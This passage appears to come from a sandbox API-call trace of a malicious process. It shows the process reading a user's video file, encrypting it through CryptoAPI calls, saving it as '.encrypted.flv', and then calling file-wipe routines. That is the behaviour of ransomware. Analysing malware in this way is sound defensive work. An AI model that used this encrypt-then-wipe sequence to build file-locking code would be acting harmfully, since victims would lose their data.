lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.428] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\dlzp3cwleccw90sx")) returned 0x10 [0029.428] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\Yrtyc.encrypted.flv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\dlzp3cwleccw90sx\\yrtyc.encrypted.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.428] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.428] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.428] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.428] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.430] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.430] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x6642, lpOverlapped=0x0) returned 1 [0029.430] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.432] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.432] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.432] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.432] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.433] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.433] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.433] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.433] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.433] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.433] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.434] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.434] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.434] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.434] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.434] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064b80, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b80*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.434] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.434] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.434] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.434] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.434] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.434] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.435] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.435] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.435] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.435] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.435] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.435] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.435] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.435] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.435] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.435] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.435] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.436] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.436] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.436] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.436] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x6642, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x6650) returned 1 [0029.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.436] CharLowerBuffW (in: lpsz="byte[26193]", cchLength=0xb | out: lpsz="byte[26193]") returned 0xb [0029.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.436] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.436] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.436] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.437] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.437] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f438d320*, pdwDataLen=0xe8f3dfdf68*=0x6642, dwBufLen=0x6650 | out: pbData=0xe8f438d320*, pdwDataLen=0xe8f3dfdf68*=0x6650) returned 1 [0029.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.437] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.437] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.437] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.437] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.437] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.437] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.437] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.437] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.437] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.437] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.438] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.438] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.439] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.439] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.439] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.439] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.439] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.439] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.440] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.440] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.440] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.440] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.440] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.440] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.440] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.440] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.440] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.440] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.440] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.441] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.441] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.441] CryptReleaseContext (hProv=0xe8f4199650, dwFlags=0x0) returned 1 [0029.441] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.441] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.441] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.441] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.441] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.441] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.441] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.442] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.442] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.442] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.442] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.442] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.442] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.442] CharLowerBuffW (in: lpsz="byte[26178]", cchLength=0xb | out: lpsz="byte[26178]") returned 0xb [0029.443] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.443] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.443] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.443] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.443] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.443] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.443] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.443] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.443] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.443] PeekMessageW 